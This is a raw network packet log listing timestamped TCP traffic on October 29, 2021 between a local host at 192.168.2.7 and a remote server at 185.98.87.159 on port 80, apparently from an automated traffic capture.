Oct 29, 2021 20:29:41.839900017 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839936972 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839948893 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839976072 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839982986 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840014935 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840061903 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840101957 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840109110 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840138912 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840143919 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840177059 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840218067 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840254068 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840269089 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840291977 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840313911 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840331078 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840368032 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840406895 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840413094 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840445042 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840451956 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840482950 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840522051 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840559006 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840570927 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840596914 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840600967 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840635061 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840671062 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840718031 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.840729952 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.840846062 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893325090 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893385887 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893426895 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893465996 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893512011 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893557072 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893575907 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893599987 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893639088 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893656015 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893676996 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893716097 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893729925 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893765926 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893805027 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893842936 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893870115 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893881083 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893891096 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893919945 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893959999 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.893975973 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.893997908 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894036055 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894076109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894093037 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894114017 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894129992 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894153118 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894191027 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894206047 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894229889 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894269943 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894306898 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894329071 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894345999 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894371986 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894385099 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894423008 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894462109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894474983 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894501925 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894504070 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894541979 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894579887 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894584894 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894617081 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894654989 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894668102 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894692898 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894730091 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894769907 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894783974 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894808054 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894820929 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894846916 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894886017 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894916058 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894922972 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894961119 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.894993067 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.894999981 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895036936 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895067930 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895106077 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.895107985 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895138025 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.895148039 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895186901 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895224094 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.895248890 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.895284891 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.947881937 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.947923899 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.947951078 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.947974920 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.947999954 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948024988 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948049068 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948075056 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948121071 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948122978 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948144913 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948168039 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948170900 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948194027 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948199987 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948220015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948244095 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948251009 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948267937 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948292971 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948318005 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948319912 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948354006 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948362112 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948378086 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948395014 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948400021 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948451042 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948465109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948487997 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948510885 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948534012 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948534966 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948558092 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948596954 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948599100 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948620081 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948632956 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948643923 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948683977 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948713064 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948735952 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948788881 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948801041 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948812008 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.948877096 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.948924065 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949013948 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949038029 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949062109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949090004 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949100971 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949126005 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949132919 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949165106 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949166059 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949187994 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949235916 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949239969 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949265003 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949287891 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949311018 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949312925 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949354887 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949362040 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949384928 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949409008 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949429035 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.949433088 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.949481964 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.000989914 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001049042 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001089096 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001130104 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001171112 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001188040 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001208067 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001209021 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001249075 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001255035 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001288891 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001327991 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001333952 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001368046 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001408100 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001449108 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001470089 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001490116 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001528978 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001570940 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001590967 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001611948 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001643896 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001652002 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001653910 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001693964 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001733065 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001779079 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001781940 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001822948 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001859903 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001899958 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001904011 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001941919 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.001955032 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.001980066 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002018929 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002027035 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002060890 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002100945 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002120972 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002147913 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002187014 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002202988 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002224922 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002255917 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002285957 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002306938 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002330065 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002367973 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002396107 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002407074 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002445936 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002484083 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002495050 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002532959 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002535105 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002552032 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002590895 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002597094 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002660036 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002669096 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002707958 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002729893 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002748013 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002774954 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002789974 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002830029 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002866030 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.002876997 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.002955914 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055490017 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055525064 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055546999 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055568933 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055591106 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055604935 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055612087 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055634022 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055654049 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055670023 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055675030 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055691957 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055696964 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055718899 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055740118 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055752993 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055763006 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055785894 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055790901 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055809021 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055830956 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055835009 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055851936 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055874109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055906057 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055938005 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055939913 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.055959940 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.055989027 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056009054 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056013107 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056046963 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056068897 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056071043 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056195021 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056200981 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056224108 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056245089 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056266069 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056288958 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056294918 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056314945 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056325912 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056330919 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056344986 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056374073 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056408882 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056735039 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056759119 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056782007 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056802034 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056823015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056830883 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056857109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056879044 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056885004 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056907892 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056915045 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056929111 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056951046 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056968927 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.056972980 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.056993961 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.057008982 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.057018995 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.057039976 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.057077885 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.057113886 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.057243109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.057265043 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.057324886 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108458042 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108493090 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108520985 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108549118 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108576059 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108602047 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108604908 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108638048 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108647108 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108675003 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108688116 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108701944 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108726025 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108730078 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108757973 CEST	80	49766	185.98.87.159	192.168.2.7
